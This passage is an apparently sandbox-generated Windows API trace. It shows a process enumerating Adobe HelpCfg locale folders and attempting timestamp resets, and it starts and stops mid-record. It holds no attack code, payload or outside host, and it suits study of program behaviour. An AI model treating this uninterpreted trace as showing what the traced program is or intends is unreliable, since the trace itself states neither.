(HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8950 [0086.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.231] GetLastError () returned 0x12 [0086.231] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.231] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.232] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.232] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.232] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.232] GetLastError () returned 0x12 [0086.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.232] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.233] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0086.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.233] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.233] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.234] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.234] NtClose (Handle=0x180) returned 0x0 [0086.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.235] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.235] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.235] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb188 [0086.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8a58 [0086.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.237] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.237] GetLastError () returned 0x12 [0086.237] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.237] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.237] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.237] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.238] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.238] GetLastError () returned 0x12 [0086.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.238] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0086.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.281] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.281] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.282] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.282] NtClose (Handle=0x168) returned 0x0 [0086.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.283] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.284] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.284] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb1a8 [0086.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8b60 [0086.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.286] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.286] GetLastError () returned 0x12 [0086.286] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.286] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.286] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.286] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.286] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.286] GetLastError () returned 0x12 [0086.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.286] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.287] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0086.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.353] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.353] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.354] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.355] NtClose (Handle=0x180) returned 0x0 [0086.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.356] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.356] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.356] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb1c8 [0086.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8c68 [0086.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8100) returned 0x12f2448 [0086.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0086.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.359] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.359] GetLastError () returned 0x12 [0086.359] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.359] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.359] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 